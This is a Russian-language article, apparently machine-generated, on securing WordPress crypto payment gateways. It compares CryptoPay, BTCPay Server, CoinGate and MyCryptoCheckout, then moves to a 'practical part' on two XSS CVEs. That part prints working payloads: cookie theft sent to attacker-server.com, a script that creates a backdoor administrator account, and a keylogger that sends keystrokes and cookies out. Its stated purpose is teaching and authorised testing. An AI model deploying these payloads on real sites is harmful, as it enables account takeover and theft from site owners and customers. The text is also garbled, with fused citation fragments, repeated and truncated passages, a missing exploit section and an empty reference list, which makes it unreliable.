Ведение подробных логов активности пользователей позволяет отслеживать все изменения на сайте, выявлять подозрительное поведение и обеспечивать соответствие регуляторным требованиям (GDPR, PCI DSS). Плагины типа WP Activity Log записывают входы/выходы пользователей, изменения контента, установку плагинов, модификации файлов и другие критические события с указанием времени, IP-адреса и действующего пользователя.wordpress+4

План аварийного восстановления:
Регулярные автоматизированные резервные копии, включающие базу данных и файлы сайта, должны храниться в нескольких внешних локациях с шифрованием. Определите целевое время восстановления (RTO) и целевую точку восстановления (RPO), создайте пошаговые инструкции для команды и регулярно тестируйте процесс восстановления.trewknowledge+4

Комплексная защита WordPress-сайтов с платежными шлюзами требует систематического подхода, сочетающего криптографическую защиту (256-битное SSL/TLS шифрование), строгое соблюдение отраслевых стандартов (PCI DSS), современные методы аутентификации (2FA, 3D Secure), безопасные практики обработки данных (токенизация) и проактивный мониторинг безопасности. Внедрение этих мер не только защищает конфиденциальные данные клиентов, но и повышает доверие пользователей, улучшает SEO-позиции и минимизирует финансовые и репутационные риски, связанные с нарушениями безопасности.

2. Управление плагинамиpatchstack+2

Регулярный аудит установленных плагинов для выявления заброшенных или устаревших компонентовmainwp+1
Немедленное удаление неподдерживаемых плагинов и замена их активно разрабатываемыми альтернативамиwp-eventmanager+1
Включение автоматических обновлений для критичных плагинов безопасностиpatchstack
Использование только плагинов из официального репозитория WordPress или проверенных поставщиковpaymattic

3. Защита от XSSsolidwp+1

Внедрение Content Security Policy (CSP) заголовков для ограничения источников выполняемых скриптовscworld
Использование Web Application Firewall (WAF) с правилами OWASP 941 для блокировки XSS-атакwp-rocket+1
Активация правил безопасности, специфичных для платежных плагиновpatchstack
Применение валидации и санитизации всех пользовательских входных данныхcwe.mitre+1

4. Мониторинг и аудитhosted+1

Установка плагинов безопасности (Wordfence, Patchstack, Sucuri) для автоматического обнаружения уязвимостей
Проведение регулярных сканирований безопасности для выявления известных уязвимостей
Внедрение систем реагирования на инциденты с оповещениями в реальном времениhosted
Ведение комплексных записей транзакций для расследования инцидентовhosted

CryptoPay: всесторонний анализ рекомендованного решения

На фоне этой критической ситуации CryptoPay выделяется как одно из наиболее безопасных и функциональных решений для приема криптовалютных платежей на WordPress.

Архитектура безопасности и ключевые преимущества

CryptoPay реализует модель peer-to-peer (P2P) транзакций, что означает, что платежи поступают напрямую из криптокошелька клиента в кошелек продавца без участия посредников. Эта архитектура обеспечивает несколько критически важных преимуществ:instawp+2

Полное отсутствие комиссий плагина: В отличие от традиционных платежных шлюзов, CryptoPay не взимает комиссий за транзакции. Единственные расходы — это стандартные комиссии блокчейн-сети (gas fees), которые оплачивает отправитель. Это кардинально отличается от традиционных платежных систем, которые обычно взимают от 1.5% до 3% с каждой транзакции.businessbloomer+3

Отсутствие требований KYC (Know Your Customer): CryptoPay не требует предоставления документов для верификации личности. Это значительно упрощает начало работы и повышает конфиденциальность как для продавцов, так и для покупателей, что особенно важно в криптовалютной экосистеме, где приватность является ключевым приоритетом.

Self-custody модель: Все платежи поступают напрямую в кошелек продавца без промежуточного хранения средств третьими сторонами. Это устраняет риски, связанные с взломом централизованных сервисов или замораживанием средств.

Поддержка блокчейн-сетей и криптовалют

CryptoPay предлагает впечатляющую поддержку множественных блокчейн-экосистем:fao.wordpress+2

EVM-совместимые сети: Плагин нативно поддерживает Ethereum Virtual Machine (EVM) — децентрализованную вычислительную среду, которая выполняет смарт-контракты на блокчейне Ethereum и совместимых сетях. EVM работает как глобальный децентрализованный процессор, обеспечивающий детерминированное выполнение кода на всех узлах сети. Бесплатная версия плагина поддерживает 5 EVM-сетей, в то время как премиум-версия предлагает неограниченную поддержку EVM-сетей, включая Ethereum, Binance Smart Chain, Polygon, Arbitrum, Optimism, Fantom, Avalanche, zkSync Era и многие другие.wpglob+8

Дополнительные блокчейн-экосистемы: Через платные дополнения премиум-версия поддерживает Bitcoin, Solana, Tron и другие не-EVM сети. Это позволяет принимать платежи в самых популярных криптовалютах, охватывая широкий спектр пользовательских предпочтений.liquidity-provider+2

Токены и стейблкоины: CryptoPay позволяет принимать платежи в любых токенах стандарта ERC-20 на Ethereum и аналогичных стандартах на других EVM-сетях. Это включает важнейшие стейблкоины USDT и USDC, которые минимизируют риски волатильности для продавцов.wpglob+1

Обширная экосистема интеграций

CryptoPay интегрируется с более чем 16 популярными WordPress плагинами, что делает его универсальным решением не только для WooCommerce, но и для других платформ:liquidity-provider+1

WooCommerce — нативная поддержка с полной интеграцией в процесс оформления заказа
Easy Digital Downloads (EDD) — для продажи цифровых продуктов
MemberPress, Restrict Content Pro, MemberDash, ARMember, Paid Memberships Pro — системы управления членством
LearnDash LMS — платформа онлайн-обучения
GiveWP — прием криптовалютных пожертвований
Dokan Multi Vendor — мультивендорные маркетплейсы
Gravity Forms, WPForms, Ninja Forms, Contact Form 7 — формы с возможностью приема платежей
myCred — система геймификации и балловwordpress+1

Эта глубокая интеграция достигается благодаря мощному API плагина, который позволяет разработчикам создавать собственные интеграции.github+1

Модели лицензирования и функциональные различия

Бесплатная версия (Lite):

Поддержка 5 предустановленных EVM-сетей
Прямые платежи из Web3 кошельков (MetaMask, Trust Wallet и др.)
Интеграция с WooCommerce и другими плагинами
Отсутствие комиссий плагина
Отсутствие лимитов на вывод средств
Нет поддержки платежей по QR-коду (transfer to address)
Нет возможности добавления пользовательских токеновquadlayers+2

Премиум версия:

Неограниченная поддержка EVM-сетей
Платежи по QR-коду (transfer to address) — критически важная функция для мобильных платежейwordpress+1
Неограниченная поддержка токенов для каждой сети
Возможность добавления пользовательских токенов и цен (например, собственных utility токенов проекта)
Дополнительные конвертеры курсов (CoinGecko, CoinMarketCap, Moralis и др.)wphive+2
Дополнительные сетевые модули (Bitcoin, Solana, Tron) приобретаются отдельноfao.wordpress
Пожизненная лицензия доступна за единовременный платеж около $49-89wpmayor+1

Стоит отметить важный технический аспект: сетевая поддержка Bitcoin, Solana и Tron доступна только для премиум-версии, поскольку некоторые сервисы, такие как «платежи по QR-коду через transfer to address», работают на серверах, которые требуют ежемесячных затрат для поставщика.fao.wordpress

BTCPay Server: Безопасная альтернатива уязвимым Bitcoin-плагинам для платежных шлюзов

Критическая проблема уязвимостей в Bitcoin-плагинах

В условиях растущей популярности криптовалютных платежей многие коммерческие сайты используют WordPress-плагины для приема Bitcoin-платежей. Однако индустрия столкнулась с серьезной проблемой безопасности: многочисленные плагины Bitcoin-платежных шлюзов содержат критические уязвимости, представляющие реальную угрозу для бизнеса и клиентов.invicti+4

Основные типы выявленных уязвимостей:

SQL-инъекции (CVSS 9.3) — позволяют злоумышленникам напрямую взаимодействовать с базой данных, похищая конфиденциальную информацию. Плагины Bitcoin/AltCoin Payment Gateway for WooCommerce и Multi CryptoCurrency Payments подвержены этой критической уязвимости.

Обход платежей — плагин Crypto Payment Gateway with Payeer for WooCommerce (CVE-2025-11890) не выполняет серверную проверку статуса платежа, что позволяет неаутентифицированным атакующим изменять статус неоплаченных заказов на оплаченные, приводя к прямым финансовым потерям.github+2

Произвольная загрузка файлов — плагин GoUrl Bitcoin Payment Gateway позволяет загружать произвольные исполняемые файлы, что может привести к полной компрометации сайта.really-simple-ssl+1

Cross-Site Scripting (XSS) и утечки информации — множественные плагины подвержены XSS-атакам и раскрытию конфиденциальных данных.wpscan+2

Критически важно отметить, что для многих из этих уязвимостей патчи отсутствуют (статус «No Fix»), что делает использование таких плагинов чрезвычайно рискованным.patchstack+2

Архитектура безопасности

Некастодиальная модель — ваши приватные ключи никогда не покидают ваш кошелек. BTCPay Server работает только с расширенными публичными ключами (xpub), что исключает возможность кражи средств даже при компрометации сервера.btcpayserver+2

Отсутствие третьих сторон — платежи поступают напрямую в ваш кошелек без посредников. Это устраняет риски, связанные с централизованными платежными процессорами, такие как замораживание счетов, цензура или утечки данных.github+2

Собственный полный узел Bitcoin — BTCPay Server использует ваш собственный полный узел для верификации транзакций, что обеспечивает абсолютную независимость и устраняет необходимость доверять внешним сервисам.exitpay+1

Открытый исходный код — весь код доступен для аудита. Разработчики и эксперты по безопасности могут в любой момент проверить качество кода, что обеспечивает прозрачность и доверие.btcpayserver+1

История безопасности и реагирование на уязвимости

BTCPay Server демонстрирует высокий уровень ответственности в вопросах безопасности. В 2022 году была выявлена и оперативно устранена уязвимость CVE-2022-32984, затрагивающая версии 1.3.0-1.5.3. Уязвимость позволяла получить доступ к конфиденциальной информации через публично доступные Point of Sale приложения.btcpayserver+1

Ключевые моменты реагирования:

Уязвимость была ответственно раскрыта Антуаном Поинсотом 28 мая 2022 года
В тот же день был выпущен патч версии 1.5.4btcpayserver
Исследователю была выплачена награда в размере $5,000 — максимальная на тот моментbtcpayserver+1
Команда активно поощряет исследователей безопасности через программу Bug Bountybtcpayserver

Важно отметить, что это одна из немногих известных серьезных уязвимостей в основной кодовой базе BTCPay Server за годы существования проекта. В 2024 году были выявлены критические уязвимости в плагине LNbank (сторонняя разработка), что привело к прекращению его развития. Это подчеркивает важность использования проверенных компонентов.cvedetails+2

Ключевые преимущества для бизнеса

Нулевые комиссии — отсутствуют комиссии за обработку платежей, подписки или транзакции. Оплачиваются только стандартные сетевые комиссии Bitcoin.github+2

Полный контроль и суверенитет — вы являетесь собственным платежным процессором. Никто не может заблокировать, заморозить или цензурировать ваши средства.cypherpunktimes+2

Расширенная конфиденциальность — каждый счет использует новый адрес, исключая повторное использование адресов. Данные транзакций разделяются только между вами и клиентом.bitlyrics+2

Защита от чарджбэков — все Bitcoin-транзакции необратимы, обеспечивая полную защиту от мошеннических возвратов платежей.paywithflash

Поддержка Lightning Network — встроенная поддержка трех реализаций Lightning Network (LND, Core Lightning, Eclair) для мгновенных платежей с минимальными комиссиями.btcpayserver+3

Интеграции с платформами электронной коммерции

BTCPay Server предоставляет нативные плагины для всех основных платформ:btcpayserver+1

WooCommerce (WordPress) — полная интеграция с расширенным управлением счетами и возвратамиbtcpayserver+2
Shopify — поддержка версии V2 для упрощенной интеграцииbtcpayserver+1
Magento, Drupal, PrestaShop, OpenCart, WHMCS — готовые решения для различных CMSpayram+1

Процесс подключения WooCommerce:

Установка плагина BTCPay для WooCommerce V2 через панель WordPresswordpress+1
Указание URL вашего BTCPay Serverbtcpayserver
Генерация API-ключа через встроенный визард (рекомендуется)btcpayserver
Автоматическая настройка webhooks и интеграцииbtcpayserver

Требования минимальны: PHP 8.0+, расширения cURL, gd, intl, json, mbstring.btcpayserver

Самостоятельное размещение

Минимальные требования для BTC + Lightning:btcpayserver+1

2-4 CPU
4-8 GB RAM (минимум 2GB RAM при 4GB рекомендуется)
80-100 GB SSD (с включенным pruning) или 500+ GB для полного узла
Docker и Docker-Compose

Рекомендуемые хостинг-провайдеры для VPS:btcpayserver+2

LunaNode — специализированный хостинг для BTCPay, от ~$5-10/месяц
Digital Ocean, Linode, Vultr — популярные VPS-провайдеры
Voltage Cloud — некастодиальные облачные Lightning-узлы с мгновенным развертываниемlightningnetwork+1

Процесс установки через Docker:btcpayserver+1

bash:

git clone https://github.com/btcpayserver/btcpayserver-docker
cd btcpayserver-docker
export BTCPAY_HOST="btcpay.yourdomain.com"
export NBITCOIN_NETWORK="mainnet"
export BTCPAYGEN_CRYPTO1="btc"
export BTCPAYGEN_LIGHTNING="lnd"
./btcpay-setup.sh -i

Аппаратные решения (Node-in-a-Box):coincharge+2

Umbrel, MyNode, RaspiBlitz, Nodl — готовые решения на базе Raspberry Pi или специализированного оборудования
Упрощенная установка через графический интерфейс
Возможность запуска дома на собственном оборудовании

CoinGate: комплексное решение для безопасных криптоплатежей

CoinGate представляет собой проверенную временем платформу блокчейн-платежей, которая заслужила доверие более 500 торговцев по всему миру и обеспечивает надежную инфраструктуру для приема криптовалютных платежей на платформе WordPress.coingate

Поддержка криптовалют и сетей

CoinGate предоставляет одно из наиболее широких покрытий криптовалют на рынке, поддерживая более 50 различных цифровых активов. Платформа обеспечивает прием платежей в следующих криптовалютах:wordpress+1

Основные криптовалюты:

Bitcoin (BTC) — включая поддержку Lightning Network для мгновенных транзакций с минимальными комиссиямиcoingate
Ethereum (ETH) — с поддержкой Layer 2 решений
Litecoin (LTC) — популярен за низкие комиссии и быструю обработкуcoingate
USD Coin (USDC) — стейблкоин стандарт, доступный в множественных сетяхcoingate
Tether (USDT) — один из самых популярных стейблкоинов
TRON (TRX) — востребован на рынках, чувствительных к комиссиямcoingate
Bitcoin Cash (BCH), Dogecoin (DOGE), XRP, Solana (SOL)coingate+1

Многосетевая поддержка:

CoinGate поддерживает транзакции на множественных блокчейн-сетях, что значительно расширяет возможности для пользователей:coingate

Ethereum и его Layer 2 решения: Polygon, Arbitrum, Base, Optimismwordpress+2
Binance Smart Chain (BSC) — для быстрых и недорогих транзакцийcoingate
Solana — обеспечивает высокую скорость обработкиcoingate
TRON — популярен для стейблкоин-транзакцийcoingate
Bitcoin Lightning Network — для мгновенных BTC-платежей с минимальными комиссиямиcoingate

Такая многосетевая архитектура позволяет клиентам выбирать наиболее выгодную сеть с минимальными комиссиями, что критически важно в периоды высокой загруженности основных блокчейнов.coingate

Преимущества безопасности и комплаенса

Многоуровневая система безопасности:

CoinGate реализует передовые меры безопасности, которые существенно превосходят стандарты большинства WordPress-плагинов:coingate+1

Обязательная двухфакторная аутентификация (2FA) — для всех пользовательских аккаунтов, создавая дополнительный уровень защитыcoingate+1
Продвинутое шифрование — использование SSL-шифрования и мультиподписных кошельков для защиты данных и транзакцийcoingate+1
Соблюдение AML/KYC регуляций — строгое следование стандартам противодействия отмыванию денег (AML) и идентификации клиентов (KYC)coingate+1
Верификация продавцов — тщательная проверка бизнеса и продавцов для обеспечения легитимностиcoingate
Мониторинг транзакций — непрерывный контроль подозрительной активности с использованием блокчейн-аналитики и инструментов криптокомплаенса, таких как Ellipticcoingate
Защищенный платежный шлюз — использование продвинутых протоколов безопасности для предотвращения взломов и несанкционированного доступаcoingate

Регуляторное соответствие:

CoinGate работает в полном соответствии с европейскими и международными стандартами регулирования:coingate+1

Лицензирование в соответствии с требованиями ЕС
Полное соблюдение MiCA (Markets in Crypto-Assets) регуляций
Строгая политика AML/CTF (противодействие отмыванию денег и финансированию терроризма)coingate
Прозрачная система ведения записей и взаимодействия с компетентными органамиcoingate

Интеграция с WordPress и WooCommerce

Простая установка и настройка:

Процесс интеграции CoinGate с WordPress максимально упрощен и не требует глубоких технических знаний:coingate+2

Установка плагина:
Создание аккаунта CoinGate:
Генерация API-ключей:
Настройка плагина:

Перейдите в панель администратора WordPress → Плагины → Добавить новый
Введите «CoinGate» в поле поиска
Нажмите «Установить» и затем «Активировать»es-gt.wordpress+1

Зарегистрируйтесь на https://coingate.com (или https://sandbox.coingate.com для тестирования)github+1
Пройдите процедуру верификации бизнесаcoingate

В панели CoinGate Business перейдите в раздел «Apps»
Создайте новое приложение и сгенерируйте API-ключи или Auth Tokencoingate+1

Перейдите в WooCommerce → Настройки → Платежи
Активируйте метод оплаты «CoinGate»
Введите API-учетные данные
Настройте валюту расчетов и соответствие статусов заказов github+2

Функциональные возможности плагина:

CoinGate для WooCommerce предоставляет обширный набор функций:wordpress+1

Полностью автоматизированный шлюз — без необходимости ручной обработки
Курсы обмена в реальном времени — мгновенная конвертация крипто в фиат при оформлении заказа
Настраиваемые счета — выбор поддерживаемых монет, прием недоплаченных/переплаченных заказов
Автоматическое обновление заказов — подтверждения платежей автоматически изменяют статус заказа
Тестовый режим — возможность экспериментировать в sandbox-среде перед запуском
Криптовозвраты — выдача полных и частичных возвратов
Экспортируемые отчеты — доступ к бухгалтерским данным и данным о выплатах в несколько кликовwordpress+1
Ролевое управление доступом — контроль разрешений для членов командыcoingate+1
Встроенные инструменты AML/KYC — защита и соблюдение нормативных требованийwordpress

Экономические преимущества

Конкурентоспособные тарифы:

CoinGate предлагает одну из наиболее привлекательных тарифных структур на рынке:coingate+1

Базовая комиссия: начиная с 1% за транзакциюgetapp+2
Объемные скидки: более низкие ставки доступны для высокообъемных продавцовcoingate+1
Отсутствие скрытых комиссий: прозрачная ценовая политика без комиссий за чарджбэки или скрытых FX-наценокcoingate
Нет возвратных платежей: все криптоплатежи являются окончательными, что защищает от мошеннических споровixo

Для сравнения: традиционные платежные системы берут 2.9-3.4% + фиксированную плату, что делает CoinGate значительно более экономичным решением. При обработке €100,000 месячных продаж разница даже в 2% может означать экономию в €2,000 каждый месяц.coingate

Защита от волатильности:

Одной из ключевых особенностей CoinGate является возможность мгновенной конвертации криптовалюты в фиатные деньги:rapyd+1

Автоматическая конвертация: криптоплатежи мгновенно конвертируются в EUR, USD или GBP
Фиксация курса: возможность заблокировать обменный курс при оформлении заказа для защиты от колебаний ценrapyd
Стейблкоин поддержка: прием USDC, USDT и других стейблкоинов для минимизации рисков волатильности
Гибкие выплаты: выбор между получением выплат в криптовалюте или прямых переводов на банковский счет в фиатеwpmayor+2

Архитектура безопасности и принцип работы

MyCryptoCheckout реализует децентрализованную peer-to-peer модель, при которой платежи поступают напрямую от покупателя в криптокошелек продавца, минуя любых посредников. Плагин выполняет исключительно функции мониторинга блокчейна и генерации заказов, не прикасаясь к средствам пользователей. Такая архитектура кардинально отличается от традиционных custodial-решений и обеспечивает следующие преимущества:

Устойчивость к сбоям: Даже в случае отключения API-сервера MyCryptoCheckout (что за 6 лет эксплуатации произошло лишь однажды) платежи продолжают поступать в кошелек продавца. Единственное последствие — временная задержка автоматического подтверждения статуса заказа в системе WordPress до восстановления работы API.

Техническая реализация мониторинга: При оформлении заказа плагин инструктирует API-сервер отслеживать определенный блокчейн на предмет поступления конкретной суммы. Каждые 15 секунд API сканирует соответствующие блокчейны и оповещает магазин при обнаружении транзакции. Критически важно, что API никогда не имеет доступа к криптовалюте и не собирает чувствительную информацию о проданных товарах или личности покупателей — система знает лишь необходимость отслеживания X монет в блокчейне Y.

Функциональные возможности

Поддержка 100+ криптовалют: Bitcoin (включая SegWit и HD-кошельки), Ethereum, Binance Coin (BNB), Bitcoin Cash, Dash, Litecoin, Dogecoin, стейблкоины (USDT, USDC, TUSD, DAI), токены ERC-20, BEP-20, TRC-20 и десятки других. Плагин интегрирован с оракулами Chainlink для получения актуальных курсов валют в реальном времени.

Интеграция с популярными платформами: Полная совместимость с WooCommerce и Easy Digital Downloads. Система имеет открытый API для интеграции с другими плагинами (более 16 интеграций).

Fiat-автоконверсия: Критически важная функция для продавцов, желающих избежать волатильности криптовалют. Автосеттлмент позволяет автоматически конвертировать полученные криптовалюты в фиатные деньги (USD) или стейблкоины (USDC, USDT, TUSD) на подключенных биржах.

Поддерживаемые биржи:

Binance (с настройкой API-ключей с разрешениями «Read Info» и «Enable Trading», но без активации «Enable Withdrawals» для максимальной безопасности)
Bittrex

Система проверяет баланс на бирже каждые несколько минут в течение часа после обнаружения платежа. При превышении минимального объема для торговли автоматически выполняется рыночная продажа в выбранную валюту автосеттлмента. MyCryptoCheckout не взимает комиссий за эту функцию, в отличие от обработчиков кредитных карт и других криптоплатежных сервисов, берущих 1-3% от дохода.

Одноклик-кнопки для кошельков: Поддержка MetaMask, Trust Wallet, Phantom, Electrum и других популярных кошельков с использованием стандарта EIP-681 для генерации QR-кодов и ссылок «открыть в кошельке».

0-conf поддержка (mempool): Для некоторых монет доступно подтверждение платежей на стадии попадания транзакции в mempool, до включения в блок, что ускоряет обработку заказов.

Виджет пожертвований: Генератор шорткодов для размещения кнопок приема пожертвований в любом месте сайта.

Практическая часть: Демонстрация уязвимостей CVE-2025-48102 и CVE-2025-26541

Данный раздел предназначен для исследователей безопасности, криптографов и криптоаналитиков, работающих в области безопасности блокчейн-технологий и криптовалютных систем. Представленные примеры демонстрируют механизмы эксплуатации XSS-уязвимостей в контексте платежных шлюзов Bitcoin для WordPress и предназначены исключительно для образовательных целей и проведения авторизованных пентестов.

Анализ CVE-2025-48102: Stored XSS в GoUrl Bitcoin Payment Gateway

Техническая характеристика уязвимости:

Тип: Stored Cross-Site Scripting (CWE-79)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
CVSS Score: 5.9 (Medium)
Требуемые привилегии: Административный доступ
Точка инъекции: Параметры настроек плагина в административной панели WordPress

Демонстрационный код эксплойта №1: Базовая инъекция JavaScript

Уязвимость возникает из-за недостаточной санитизации пользовательского ввода при сохранении настроек платежного шлюза:

xml:

<!-- Payload for basic XSS testing -->
<script>alert('CVE-2025-48102: XSS Vulnerability Confirmed');</script>

This payload injects a direct script alert for confirming the presence of a basic, unsanitized XSS vulnerability. It is commonly used for initial security testing of input/output handling in web applications.

xml:

<!-- Alternative payload using img tag -->
<img src=x onerror="alert('Stored XSS in GoUrl Plugin')">

This payload leverages the onerror event handler of an image tag with an invalid source. When the image fails to load, the alert is triggered. This is a proven method to bypass script tag filtering and test for stored XSS vectors in insecure fields (here, related to the GoUrl plugin).

xml:

<!-- Payload using svg to bypass filters -->
<svg/onload=alert('Bitcoin Gateway XSS')>

This payload uses an SVG element with an onload event handler, which can execute JavaScript when the SVG loads. It is effective for bypassing sanitization rules that block traditional tags but allow SVG or other HTML5 elements, and is relevant for testing modern web application security, especially plugin endpoints.

Explanation:
These payloads are standard for evaluating cross-site scripting (XSS) vulnerabilities in various web application contexts, confirming the presence, type (reflected/stored), and effective input filtering or bypass mechanisms on cryptocurrency payment gateways and WordPress plugins.

Демонстрационный код эксплойта №2: Кража административных сессий

Данный payload демонстрирует, как атакующий может перехватить cookie-файлы сессии администратора WordPress:

xml:

<!-- Payload to steal administrator cookies -->
<script>
(function(){
    var cookies = document.cookie;
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker-server.com/collect', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('stolen_cookies=' + encodeURIComponent(cookies) +
        '&site=' + encodeURIComponent(window.location.hostname));
})();
</script>

This script collects all cookies from the browser (including potential administrator session cookies) and exfiltrates them via a POST request to a remote attacker’s server, along with the current site’s hostname.

xml:

<!-- Alternative method via image request -->
<script>
document.write('<img src="https://attacker-server.com/log?c=' +
    encodeURIComponent(document.cookie) + '">');
</script>

This alternative uses an img tag to send the cookies through a GET request in the query string. It’s a common XSS exfiltration technique because image requests are often allowed and don’t require AJAX permissions.

Explanation:
Both payloads demonstrate reflected/stored XSS vectors used to steal cookies by sending them to a malicious server. The first uses XMLHttpRequest for POST, which offers stealth and additional context (like site), while the second leverages image tags for proof-of-concept attacks which are less likely to be blocked on restrictive sites.

Демонстрационный код эксплойта №3: Создание скрытого административного аккаунта

Критический сценарий атаки — создание нового администратора WordPress через XSS:

// Function to create a new administrator
function createBackdoorAdmin() {
    var xhr = new XMLHttpRequest();
    var nonce = document.querySelector('input[name="_wpnonce"]').value;

    var formData = new FormData();
    formData.append('action', 'createuser');
    formData.append('_wpnonce_create-user', nonce);
    formData.append('user_login', 'cryptoadmin');
    formData.append('email', 'backdoor@attacker.com');
    formData.append('pass1', 'Str0ng!P@ssw0rd123');
    formData.append('pass2', 'Str0ng!P@ssw0rd123');
    formData.append('role', 'administrator');

    xhr.open('POST', '/wp-admin/user-new.php', true);
    xhr.send(formData);

    // Send confirmation to the attacker
    var confirm = new Image();
    confirm.src = 'https://attacker-server.com/success?admin_created=1';
}

// Execute after the page has fully loaded
if(document.readyState === 'complete') {
    createBackdoorAdmin();
} else {
    window.addEventListener('load', createBackdoorAdmin);
}

Explanation:
This code automatically creates a new WordPress administrator account by sending a POST request with the required form data, including the _wpnonce_create-user token for CSRF protection. After the account is created, it notifies the attacker via an HTTP request.

Such scripts demonstrate a classic example of a backdoor user creation and unauthorized privilege escalation in WordPress, illustrating the risks associated with weak nonce, form, and admin-area handling.

Демонстрационный код эксплойта №4: Keylogger для перехвата криптографических данных

Данный payload демонстрирует перехват всех нажатий клавиш на странице, что особенно опасно для платежных систем:

// Keylogger for capturing confidential data
(function() {
    var keystrokes = [];
    var endpoint = 'https://attacker-server.com/keylog';

    document.addEventListener('keypress', function(e) {
        var keystroke = {
            key: e.key,
            timestamp: Date.now(),
            page: window.location.href,
            target: e.target.name || e.target.id || 'unknown'
        };

        keystrokes.push(keystroke);

        // Send every 10 keystrokes
        if(keystrokes.length >= 10) {
            sendKeystrokes();
        }
    });

    function sendKeystrokes() {
        if(keystrokes.length === 0) return;

        var xhr = new XMLHttpRequest();
        xhr.open('POST', endpoint, true);
        xhr.setRequestHeader('Content-Type', 'application/json');
        xhr.send(JSON.stringify({
            site: window.location.hostname,
            keys: keystrokes,
            cookies: document.cookie
        }));

        keystrokes = [];
    }

    // Periodic sending every 30 seconds
    setInterval(sendKeystrokes, 30000);

    // Send when the page is closed
    window.addEventListener('beforeunload', sendKeystrokes);
})();

Explanation:
This code logs all keypress events on the page, collects the pressed key, timestamp, page URL, and form input target, and periodically exfiltrates batches of keystrokes along with cookies and site information to a remote server. It demonstrates a typical JavaScript keylogger attack used for credential theft and confidential information interception in web security research and penetration testing contexts.

Анализ CVE-2025-26541: Reflected XSS в CodeSolz Bitcoin/AltCoin Payment Gateway

Техническая характеристика уязвимости:

Тип: Reflected Cross-Site Scripting (CWE-79)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
CVSS Score: 7.1 (High)
Требуемые привилегии: Не требуются (PR:N)
Точка инъекции: URL-параметры страниц обработки платежей

Демонстрационный код эксплойта №5: Reflected XSS через параметры транзакции

Уязвимость проявляется при обработке параметров возврата от платежного шлюза:

xml:

<!-- Basic reflected XSS payload in the URL -->
https://victim-site.com/wc-api/codesolz_bitcoin_gateway/?transaction_id=TX123&status=completed&payload=<script>alert('CVE-2025-26541')</script>

This payload injects a simple script alert into the payload parameter to trigger a JavaScript alert if the input is reflected into the page without sanitization.

xml:

<!-- URL-encoded version to bypass basic filters -->
https://victim-site.com/wc-api/codesolz_bitcoin_gateway/?transaction_id=TX123&message=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

This is the same payload as above, but URL-encoded to evade basic server-side or client-side input validators.

xml:

<!-- Payload using event handlers -->
https://victim-site.com/wc-api/codesolz_bitcoin_gateway/?transaction_id=TX123&redirect_url=javascript:alert('Reflected XSS')

This payload leverages the redirect_url parameter and injects a javascript: URI, which can be executed if the site does not sanitize URLs before redirection or rendering.

xml:

<!-- Payload via error parameter -->
https://victim-site.com/wc-api/codesolz_bitcoin_gateway/?error_message=%22%3E%3Cimg%20src=x%20onerror=alert(document.cookie)%3E

This payload closes an open HTML attribute and injects an image tag with an onerror handler to execute alert(document.cookie) and exfiltrate cookie data if the error message is directly reflected in page output without sanitization.

Explanation:
Each payload is designed to exploit reflected XSS (Cross-Site Scripting) vulnerabilities in parameters, including script tags, event handlers, and encoded vectors. These are relevant for demonstrating or testing web application security, especially in crypto gateways and WordPress plugin integrations.

Демонстрационный код эксплойта №6: Фишинговая атака через отраженный XSS

Создание поддельной формы входа для кражи учетных данных пользователей. Данный раздел содержит расширенные примеры демонстрационных кодов для исследования XSS уязвимостей в криптовалютных платежных системах WordPress.

Представленные материалы служат исключительно для образовательных целей и помощи исследователям безопасности, криптографам и криптоаналитикам в понимании механизмов XSS-атак в контексте Bitcoin платежных шлюзов. Все примеры должны использоваться только в рамках авторизованного тестирования безопасности.

Заключение

Обнаружение уязвимостей CVE-2025-48102 и CVE-2025-26541 в популярных плагинах Bitcoin платежных шлюзов для WordPress подчеркивает критическую важность проактивной безопасности для владельцев интернет-магазинов и веб-сайтов, принимающих криптовалютные платежи.

Ключевые выводы:

Немедленное действие необходимо — владельцы сайтов должны срочно обновить или удалить затронутые плагины
Заброшенные плагины представляют постоянную угрозу — CVE-2025-48102 не будет исправлена, требуется полное удаление
XSS-уязвимости остаются доминирующей угрозой — составляя более 53% всех уязвимостей плагинов
Комплексная стратегия безопасности критична — включая WAF, CSP, регулярный аудит и мониторингsecurity.
Выбор надежных альтернатив — переход на активно поддерживаемые и проверенные решения

Статистика показывает, что в 2024 году 33% уязвимостей не были исправлены вовремя для публичного раскрытия, а 1,614 плагина были удалены из репозитория из-за проблем безопасности. Это подчеркивает необходимость постоянной бдительности и многоуровневого подхода к безопасности WordPress, особенно для сайтов, обрабатывающих финансовые транзакции.

Владельцы сайтов должны помнить: обновление плагинов — это лишь часть решения. Необходимо также регулярно проводить аудит установленных компонентов, удалять неиспользуемые и заброшенные плагины, внедрять дополнительные уровни защиты через WAF и системы мониторинга, а также следовать лучшим практикам безопасности платежных систасности платежных систем.

Обнаружение уязвимостей CVE-2025-48102 и CVE-2025-26541 в популярных плагинах Bitcoin платежных шлюзов для WordPress представляет серьёзную и неотложную угрозу для всех владельцев интернет-магазинов и веб-сайтов, принимающих криптовалютные платежи. Эти уязвимости затрагивают критическую инфраструктуру обработки финансовых транзакций, требуя немедленных и комплексных мер по обеспечению безопасности.

Critical Bitcoin Payment Gateway Vulnerabilities: CVE-2025-48102 vs CVE-2025-26541 Comparison

Выводы и рекомендации

Обнаружение уязвимостей CVE-2025-48102 и CVE-2025-26541 подчеркивает критическую важность проактивной безопасности для всех владельцев WordPress-сайтов, особенно тех, которые обрабатывают финансовые платежи. Заброшенное программное обеспечение представляет постоянную угрозу, которая должна быть немедленно устранена полным удалением.

Статистика 2024 года показывает, что ситуация становится всё более серьёзной: 33% уязвимостей остаются неисправленными, XSS-атаки составляют почти половину всех угроз, и тысячи плагинов удаляются ежегодно из-за проблем безопасности. Это требует многоуровневого подхода, включающего WAF, регулярные аудиты, мониторинг, криптографическую защиту и выбор надежных альтернатив.

Владельцы сайтов должны помнить: задержка в обновлении или удалении уязвимых плагинов может привести к полной компрометации сайта, краже данных клиентов и потере криптовалютных активов. Безопасность — это не разовое мероприятие, а постоянный процесс управления рисками, требующий внимания, ресурсов и профессиональной подготовки.

References:

